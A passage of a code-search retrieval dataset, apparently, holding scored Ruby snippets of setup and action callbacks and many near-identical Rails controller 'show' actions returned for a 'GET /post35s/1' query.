"text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"title": ""
},
{
"docid": "adb8115fce9b2b4cb9efc508a11e5990",
"score": "0.5133759",
"text": "def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"title": ""
},
{
"docid": "e1dd18cf24d77434ec98d1e282420c84",
"score": "0.5112076",
"text": "def setup(&block)\n define_method(:setup, &block)\n end",
"title": ""
},
{
"docid": "3b4fb29fa45f95d436fd3a8987f12de7",
"score": "0.5111866",
"text": "def setup\n transition_to(:setup)\n end",
"title": ""
},
{
"docid": "3b4fb29fa45f95d436fd3a8987f12de7",
"score": "0.5111866",
"text": "def setup\n transition_to(:setup)\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5110294",
"text": "def action\n end",
"title": ""
},
{
"docid": "f54964387b0ee805dbd5ad5c9a699016",
"score": "0.5106169",
"text": "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"title": ""
},
{
"docid": "35b302dd857a031b95bc0072e3daa707",
"score": "0.509231",
"text": "def config(action, *args); end",
"title": ""
},
{
"docid": "bc3cd61fa2e274f322b0b20e1a73acf8",
"score": "0.50873137",
"text": "def setup\n @setup_proc.call(self) if @setup_proc\n end",
"title": ""
},
{
"docid": "5c3cfcbb42097019c3ecd200acaf9e50",
"score": "0.5081088",
"text": "def before_action \n end",
"title": ""
},
{
"docid": "246840a409eb28800dc32d6f24cb1c5e",
"score": "0.508059",
"text": "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"title": ""
},
{
"docid": "dfbcf4e73466003f1d1275cdf58a926a",
"score": "0.50677156",
"text": "def action\n end",
"title": ""
},
{
"docid": "36eb407a529f3fc2d8a54b5e7e9f3e50",
"score": "0.50562143",
"text": "def matt_custom_action_begin(label); end",
"title": ""
},
{
"docid": "b6c9787acd00c1b97aeb6e797a363364",
"score": "0.5050554",
"text": "def setup\n # override this if needed\n end",
"title": ""
},
{
"docid": "9fc229b5b48edba9a4842a503057d89a",
"score": "0.50474834",
"text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"title": ""
},
{
"docid": "9fc229b5b48edba9a4842a503057d89a",
"score": "0.50474834",
"text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"title": ""
},
{
"docid": "fd421350722a26f18a7aae4f5aa1fc59",
"score": "0.5036181",
"text": "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"title": ""
},
{
"docid": "d02030204e482cbe2a63268b94400e71",
"score": "0.5026331",
"text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"title": ""
},
{
"docid": "4224d3231c27bf31ffc4ed81839f8315",
"score": "0.5022976",
"text": "def after(action)\n invoke_callbacks *options_for(action).after\n end",
"title": ""
},
{
"docid": "24506e3666fd6ff7c432e2c2c778d8d1",
"score": "0.5015441",
"text": "def pre_task\n end",
"title": ""
},
{
"docid": "0c16dc5c1875787dacf8dc3c0f871c53",
"score": "0.50121695",
"text": "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"title": ""
},
{
"docid": "c99a12c5761b742ccb9c51c0e99ca58a",
"score": "0.5000944",
"text": "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"title": ""
},
{
"docid": "0cff1d3b3041b56ce3773d6a8d6113f2",
"score": "0.5000019",
"text": "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"title": ""
},
{
"docid": "791f958815c2b2ac16a8ca749a7a822e",
"score": "0.4996878",
"text": "def setup_signals; end",
"title": ""
},
{
"docid": "6e44984b54e36973a8d7530d51a17b90",
"score": "0.4989888",
"text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"title": ""
},
{
"docid": "6e44984b54e36973a8d7530d51a17b90",
"score": "0.4989888",
"text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"title": ""
},
{
"docid": "5aa51b20183964c6b6f46d150b0ddd79",
"score": "0.49864885",
"text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"title": ""
},
{
"docid": "7647b99591d6d687d05b46dc027fbf23",
"score": "0.49797225",
"text": "def initialize(*args)\n super\n @action = :set\nend",
"title": ""
},
{
"docid": "67e7767ce756766f7c807b9eaa85b98a",
"score": "0.49785787",
"text": "def after_set_callback; end",
"title": ""
},
{
"docid": "2a2b0a113a73bf29d5eeeda0443796ec",
"score": "0.4976161",
"text": "def setup\n #implement in subclass;\n end",
"title": ""
},
{
"docid": "63e628f34f3ff34de8679fb7307c171c",
"score": "0.49683493",
"text": "def lookup_action; end",
"title": ""
},
{
"docid": "a5294693c12090c7b374cfa0cabbcf95",
"score": "0.4965126",
"text": "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"title": ""
},
{
"docid": "57dbfad5e2a0e32466bd9eb0836da323",
"score": "0.4958034",
"text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"title": ""
},
{
"docid": "5b6d613e86d3d68152f7fa047d38dabb",
"score": "0.49559742",
"text": "def release_actions; end",
"title": ""
},
{
"docid": "4aceccac5b1bcf7d22c049693b05f81c",
"score": "0.4954353",
"text": "def around_hooks; end",
"title": ""
},
{
"docid": "2318410efffb4fe5fcb97970a8700618",
"score": "0.49535993",
"text": "def save_action; end",
"title": ""
},
{
"docid": "64e0f1bb6561b13b482a3cc8c532cc37",
"score": "0.4952725",
"text": "def setup(easy)\n super\n easy.customrequest = @verb\n end",
"title": ""
},
{
"docid": "fbd0db2e787e754fdc383687a476d7ec",
"score": "0.49467874",
"text": "def action_target()\n \n end",
"title": ""
},
{
"docid": "b280d59db403306d7c0f575abb19a50f",
"score": "0.49423352",
"text": "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"title": ""
},
{
"docid": "9f7547d93941fc2fcc7608fdf0911643",
"score": "0.49325448",
"text": "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"title": ""
},
{
"docid": "da88436fe6470a2da723e0a1b09a0e80",
"score": "0.49282882",
"text": "def before_setup\n # do nothing by default\n end",
"title": ""
},
{
"docid": "17ffe00a5b6f44f2f2ce5623ac3a28cd",
"score": "0.49269363",
"text": "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"title": ""
},
{
"docid": "21d75f9f5765eb3eb36fcd6dc6dc2ec3",
"score": "0.49269104",
"text": "def default_action; end",
"title": ""
},
{
"docid": "3ba85f3cb794f951b05d5907f91bd8ad",
"score": "0.49252945",
"text": "def setup(&blk)\n @setup_block = blk\n end",
"title": ""
},
{
"docid": "80834fa3e08bdd7312fbc13c80f89d43",
"score": "0.4923091",
"text": "def callback_phase\n super\n end",
"title": ""
},
{
"docid": "f1da8d654daa2cd41cb51abc7ee7898f",
"score": "0.49194667",
"text": "def advice\n end",
"title": ""
},
{
"docid": "99a608ac5478592e9163d99652038e13",
"score": "0.49174926",
"text": "def _handle_action_missing(*args); end",
"title": ""
},
{
"docid": "9e264985e628b89f1f39d574fdd7b881",
"score": "0.49173003",
"text": "def duas1(action)\n action.call\n action.call\nend",
"title": ""
},
{
"docid": "399ad686f5f38385ff4783b91259dbd7",
"score": "0.49171105",
"text": "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"title": ""
},
{
"docid": "0dccebcb0ecbb1c4dcbdddd4fb11bd8a",
"score": "0.4915879",
"text": "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"title": ""
},
{
"docid": "6e0842ade69d031131bf72e9d2a8c389",
"score": "0.49155936",
"text": "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend",
"title": ""
}
] |
0acdf7c8b78add2a21d7e46960b11199
|
GET /post35s/1 GET /post35s/1.xml
|
[
{
"docid": "598e9990a4222ed527aba6a089b7fa15",
"score": "0.6582736",
"text": "def show\n @post35 = Post35.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post35 }\n end\n end",
"title": ""
}
] |
[
{
"docid": "3e63c437e723150fda53a19aa18e3c49",
"score": "0.6391059",
"text": "def urlposts_xml_file(url)\n fname = urlpost_fname url\n File.open fname\n end",
"title": ""
},
{
"docid": "25a71f4e99b932e6be094421d675f7d5",
"score": "0.6372818",
"text": "def show\n @post185 = Post185.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post185 }\n end\n end",
"title": ""
},
{
"docid": "6ced72449c026189bb0caf59790e7220",
"score": "0.63578606",
"text": "def show\n @post170 = Post170.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post170 }\n end\n end",
"title": ""
},
{
"docid": "7c0231974d8d7d59d330e21b1ad73cd9",
"score": "0.6301981",
"text": "def show\n @post135 = Post135.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post135 }\n end\n end",
"title": ""
},
{
"docid": "efc006840c508f71600dec94b2e171e8",
"score": "0.6295069",
"text": "def show\n @post155 = Post155.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post155 }\n end\n end",
"title": ""
},
{
"docid": "1d61aa08505f37ca340bf51d0a3562f2",
"score": "0.6293485",
"text": "def show\n @post95 = Post95.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post95 }\n end\n end",
"title": ""
},
{
"docid": "70b2792b557557a33cc4986138eedbae",
"score": "0.6292533",
"text": "def show\n @post356 = Post356.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post356 }\n end\n end",
"title": ""
},
{
"docid": "30445b87960b8bcf5b97fa1b7b3b2ca4",
"score": "0.62866914",
"text": "def show\n @post153 = Post153.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post153 }\n end\n end",
"title": ""
},
{
"docid": "e03022c24befb2baf85983257aafa262",
"score": "0.62823623",
"text": "def show\n @post80 = Post80.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post80 }\n end\n end",
"title": ""
},
{
"docid": "5086c6a553aa9e34d169283a73827b39",
"score": "0.627784",
"text": "def show\n @post25 = Post25.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post25 }\n end\n end",
"title": ""
},
{
"docid": "5ef66fa441d4301fa77a285bcd0db504",
"score": "0.6271072",
"text": "def show\n @post175 = Post175.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post175 }\n end\n end",
"title": ""
},
{
"docid": "0599fe7e244447be7e49234eeb12d1ca",
"score": "0.6266616",
"text": "def show\n @post254 = Post254.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post254 }\n end\n end",
"title": ""
},
{
"docid": "d73f6108469ce9805d3ad1ac67a0502f",
"score": "0.62538123",
"text": "def show\n @post145 = Post145.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post145 }\n end\n end",
"title": ""
},
{
"docid": "958381fe37ac2ad20402a3c2de8033c1",
"score": "0.6249116",
"text": "def show\n @post435 = Post435.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post435 }\n end\n end",
"title": ""
},
{
"docid": "4e9c80866bbdac793d4d0f52be3c162a",
"score": "0.62490153",
"text": "def show\n @post56 = Post56.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post56 }\n end\n end",
"title": ""
},
{
"docid": "51bbd3fcb0df55956952d5b8b7f32e2b",
"score": "0.6246925",
"text": "def show\n @post115 = Post115.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post115 }\n end\n end",
"title": ""
},
{
"docid": "15e133a84b9808ec2ff047721658179b",
"score": "0.62418765",
"text": "def show\n @post70 = Post70.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post70 }\n end\n end",
"title": ""
},
{
"docid": "69ac6b08547d82d9888092fdeaba4d76",
"score": "0.6223239",
"text": "def show\n @post258 = Post258.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post258 }\n end\n end",
"title": ""
},
{
"docid": "02b3c93cbf0d45b1217d87a3e64b1936",
"score": "0.6212131",
"text": "def show\n @post17 = Post17.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post17 }\n end\n end",
"title": ""
},
{
"docid": "8a6b5577490129e0a865bbc864df6d56",
"score": "0.6210206",
"text": "def show\n @post223 = Post223.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post223 }\n end\n end",
"title": ""
},
{
"docid": "21ebde8660d65b7e27bf1b61763f77e1",
"score": "0.62065095",
"text": "def show\n @post140 = Post140.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post140 }\n end\n end",
"title": ""
},
{
"docid": "b9d198c6b8b0417338d1f8381cf0bfab",
"score": "0.62053734",
"text": "def show\n @post83 = Post83.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post83 }\n end\n end",
"title": ""
},
{
"docid": "f29c8a7b831fccf20137e1e83229a0f4",
"score": "0.6204658",
"text": "def show\n @post190 = Post190.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post190 }\n end\n end",
"title": ""
},
{
"docid": "bff8a665e96bf16542222863ddac496e",
"score": "0.6202326",
"text": "def show\n @post51 = Post51.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post51 }\n end\n end",
"title": ""
},
{
"docid": "be982ee6a0a92e7a8d9cc61c5a9d8b42",
"score": "0.6192196",
"text": "def show\n @post189 = Post189.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post189 }\n end\n end",
"title": ""
},
{
"docid": "9110154a56035b66aca7f51fede79e87",
"score": "0.61907095",
"text": "def show\n @post225 = Post225.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post225 }\n end\n end",
"title": ""
},
{
"docid": "092aaa5cf290cc639805fba6d30d02f4",
"score": "0.6182076",
"text": "def show\n @post94 = Post94.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post94 }\n end\n end",
"title": ""
},
{
"docid": "7c03334f27bc9695a06f1ef3fcf9f145",
"score": "0.6179286",
"text": "def show\n @post186 = Post186.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post186 }\n end\n end",
"title": ""
},
{
"docid": "13beb6f6bc38bae77da80282509eec48",
"score": "0.61789805",
"text": "def show\n @post205 = Post205.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post205 }\n end\n end",
"title": ""
},
{
"docid": "c6c530ea5bd2d3621eee3081437fbe7a",
"score": "0.61782485",
"text": "def rss \n @posts = Post.find(:all, :order => \"created_at desc\")\n render :action => 'rss', :content_type => \"application/xml\", :layout => false \n end",
"title": ""
},
{
"docid": "caa91507fe57d7a10a52bc05a5006da2",
"score": "0.61764264",
"text": "def show\n @post220 = Post220.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post220 }\n end\n end",
"title": ""
},
{
"docid": "92706d92ee4507c444ed03a48b375e3d",
"score": "0.6173196",
"text": "def show\n @post235 = Post235.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post235 }\n end\n end",
"title": ""
},
{
"docid": "7ef05314a7d6161f1d70c81db32fbedc",
"score": "0.61695504",
"text": "def show\n @post71 = Post71.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post71 }\n end\n end",
"title": ""
},
{
"docid": "874d04a9c7fef2bed1eae6067253e8d3",
"score": "0.6166636",
"text": "def show\n @post172 = Post172.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post172 }\n end\n end",
"title": ""
},
{
"docid": "be5cdcff4234380f86df9fd51a8ad5dc",
"score": "0.6166306",
"text": "def show\n @post40 = Post40.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post40 }\n end\n end",
"title": ""
},
{
"docid": "dc013bc04dfc4defed57a8e421162ed0",
"score": "0.61625063",
"text": "def show\n @post345 = Post345.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post345 }\n end\n end",
"title": ""
},
{
"docid": "8c19c9b82efcc637f10641fb15c65bcb",
"score": "0.61575985",
"text": "def show\n @post73 = Post73.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post73 }\n end\n end",
"title": ""
},
{
"docid": "f2d1b83f0fe1038d478e005ecd8ca718",
"score": "0.6155271",
"text": "def show\n @post142 = Post142.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post142 }\n end\n end",
"title": ""
},
{
"docid": "23171cb89e5356245feb3801278daf5f",
"score": "0.6153694",
"text": "def show\n @post165 = Post165.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post165 }\n end\n end",
"title": ""
},
{
"docid": "0b6551109ed83dcc75065e8c6f9fed00",
"score": "0.6153568",
"text": "def show\n @post152 = Post152.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post152 }\n end\n end",
"title": ""
},
{
"docid": "38f49e088b9cea5b9ce57146c4e0c8b0",
"score": "0.61516726",
"text": "def index\n @posts = Post.order(\"created_at DESC\").page(params[:page]).per(5)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @posts }\n end\n end",
"title": ""
},
{
"docid": "77120d36f5bb92237c252add9b1cd691",
"score": "0.61378086",
"text": "def show\n @post300 = Post300.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post300 }\n end\n end",
"title": ""
},
{
"docid": "7e014ffc1ca9f3c81530ccc6a0120259",
"score": "0.61372256",
"text": "def show\n @post100 = Post100.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post100 }\n end\n end",
"title": ""
},
{
"docid": "37b01bdee6fb32b5fe9cc4c285b87114",
"score": "0.6134922",
"text": "def show\n @post151 = Post151.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post151 }\n end\n end",
"title": ""
},
{
"docid": "1cf102c4b97e9a1007512f36af2d10d9",
"score": "0.6132827",
"text": "def show\n @post347 = Post347.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post347 }\n end\n end",
"title": ""
},
{
"docid": "d1a309bb8d19081282d64063ea73301f",
"score": "0.61299944",
"text": "def show\n @post200 = Post200.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post200 }\n end\n end",
"title": ""
},
{
"docid": "1793606c04d936a161ed5f7db4e3f8f2",
"score": "0.6129584",
"text": "def show\n @post195 = Post195.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post195 }\n end\n end",
"title": ""
},
{
"docid": "59617fbd9c61c56e8edb99563893f33a",
"score": "0.61175257",
"text": "def show\n @post285 = Post285.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post285 }\n end\n end",
"title": ""
},
{
"docid": "da6558314e623a55cc7bcce040717f89",
"score": "0.6116422",
"text": "def rss\n @posts = []\n results = QuerySupport::query(params)\n results[:results].each do |result|\n @posts << result if result.kind == Note::KIND_POST\n end\n headers[\"Content-Type\"] = \"application/xml; charset=utf-8\"\n render :layout => false\n end",
"title": ""
},
{
"docid": "ff1978ab8e7db0d58f4453279412f3b5",
"score": "0.61142236",
"text": "def show\n @post250 = Post250.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post250 }\n end\n end",
"title": ""
},
{
"docid": "b716440b703e8adb122fde9a02c18f31",
"score": "0.61120105",
"text": "def show\n @post373 = Post373.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post373 }\n end\n end",
"title": ""
},
{
"docid": "44b5a38746cb31de1305476d8bc9eb83",
"score": "0.61114246",
"text": "def show\n @post259 = Post259.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post259 }\n end\n end",
"title": ""
},
{
"docid": "ce30938b25f98015bdea0dcb62cc90d9",
"score": "0.6106837",
"text": "def show\n @post173 = Post173.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post173 }\n end\n end",
"title": ""
},
{
"docid": "580ada0957f7797f0da803f8c314c3f1",
"score": "0.61058193",
"text": "def show\n @post114 = Post114.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post114 }\n end\n end",
"title": ""
},
{
"docid": "fbdedeaef363a0ed940b882c232d4bbd",
"score": "0.61032665",
"text": "def show\n @post179 = Post179.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post179 }\n end\n end",
"title": ""
},
{
"docid": "93578a90161f3e157c3bf676e9ef53cf",
"score": "0.6101813",
"text": "def show\n @post52 = Post52.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post52 }\n end\n end",
"title": ""
},
{
"docid": "dce984c2a379d542b8c6b9d9200bbefe",
"score": "0.6100572",
"text": "def show\n @post325 = Post325.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post325 }\n end\n end",
"title": ""
},
{
"docid": "c0084efedbd861394a89d34f109fddbe",
"score": "0.6097799",
"text": "def show\n @post93 = Post93.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post93 }\n end\n end",
"title": ""
},
{
"docid": "56ef3a9a4d928bc75b43c208fb25a95a",
"score": "0.6092796",
"text": "def show\n @post67 = Post67.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post67 }\n end\n end",
"title": ""
},
{
"docid": "440d5708e394f9925392d52875b26225",
"score": "0.6090182",
"text": "def show\n @post88 = Post88.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post88 }\n end\n end",
"title": ""
},
{
"docid": "bf8283ba1f323c5e2570069b16cecbd0",
"score": "0.6090004",
"text": "def show\n @post22 = Post22.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post22 }\n end\n end",
"title": ""
},
{
"docid": "a7a9ac542f075cf66f18a1e6ce24b3dc",
"score": "0.60876316",
"text": "def show\n @post283 = Post283.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post283 }\n end\n end",
"title": ""
},
{
"docid": "26b1fee3b7a5c1664e5055c0cf86721b",
"score": "0.60860026",
"text": "def show\n @post498 = Post498.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post498 }\n end\n end",
"title": ""
},
{
"docid": "3aa2f129fedc80fad961fc740566baf0",
"score": "0.60837394",
"text": "def show\n @post207 = Post207.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post207 }\n end\n end",
"title": ""
},
{
"docid": "5798658690c1b03bd98f54b4b4b7533c",
"score": "0.60817885",
"text": "def show\n @post34 = Post34.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post34 }\n end\n end",
"title": ""
},
{
"docid": "b22df91816233e455380eccc2f09af01",
"score": "0.6081676",
"text": "def show\n @post203 = Post203.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post203 }\n end\n end",
"title": ""
},
{
"docid": "22a4293c10b4adb2ee6393054e20ec57",
"score": "0.6080964",
"text": "def show\n @post84 = Post84.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post84 }\n end\n end",
"title": ""
},
{
"docid": "128abae09c6aa6ae0660a43a07afef57",
"score": "0.60796076",
"text": "def show\n @post45 = Post45.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post45 }\n end\n end",
"title": ""
},
{
"docid": "a673f43264cc3acc51bca8250ba7998c",
"score": "0.60792726",
"text": "def get_xml(params = {:format => :xml, :action => :query})#TODO put these in so that they're default and not lost when we pass stuff in...\n url = _form_url(params)\n \n #requests without user-agents are refused. See:\n #http://www.mooduino.co.uk/2010/04/wikipedia-api-user-agent-string-in-php.html\n http = Net::HTTP.new(WIKI_API_SERVER) #en.wikipedia.org\n resp = http.request_get(WIKI_API_PATH+url, 'User-Agent' => 'WikipediaSpamBot/0.1 (+hincapie.cis.upenn.edu)')\n \n raise \"POST FAILED:\" + resp.inspect unless resp.is_a? Net::HTTPOK or resp.is_a? Net::HTTPFound\n resp.body #get xml\nend",
"title": ""
},
{
"docid": "d0cadc07f49bd1e0d46bb0c21d76d942",
"score": "0.6078816",
"text": "def show\n @post178 = Post178.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post178 }\n end\n end",
"title": ""
},
{
"docid": "fc9492b060cc5dd6256abfb4f3c388f1",
"score": "0.60782415",
"text": "def show\n @post241 = Post241.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post241 }\n end\n end",
"title": ""
},
{
"docid": "4736b3449858a9b431b377aaba4804fb",
"score": "0.60775197",
"text": "def show\n @post49 = Post49.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post49 }\n end\n end",
"title": ""
},
{
"docid": "34460df8e03f4091527a084bb737aedf",
"score": "0.6076846",
"text": "def show\n @post126 = Post126.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post126 }\n end\n end",
"title": ""
},
{
"docid": "e433e452e81323cf7f162683048ed16c",
"score": "0.6072308",
"text": "def show\n @post344 = Post344.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post344 }\n end\n end",
"title": ""
},
{
"docid": "16b7e18687e4a3b1818827cdd9826896",
"score": "0.60721034",
"text": "def show\n @post137 = Post137.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post137 }\n end\n end",
"title": ""
},
{
"docid": "81b6921f74242d3923b3d0eb26ea82ce",
"score": "0.6071724",
"text": "def show\n @post90 = Post90.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post90 }\n end\n end",
"title": ""
},
{
"docid": "0d99c0b604faaeed4ddc7278f64097af",
"score": "0.60685635",
"text": "def show\n @post15 = Post15.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post15 }\n end\n end",
"title": ""
},
{
"docid": "805e4005e94ee44fe15ff711dfd5986d",
"score": "0.60670006",
"text": "def show\n @post160 = Post160.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post160 }\n end\n end",
"title": ""
},
{
"docid": "7d29b638e9b4e880e0b03aafbf0456d4",
"score": "0.60662967",
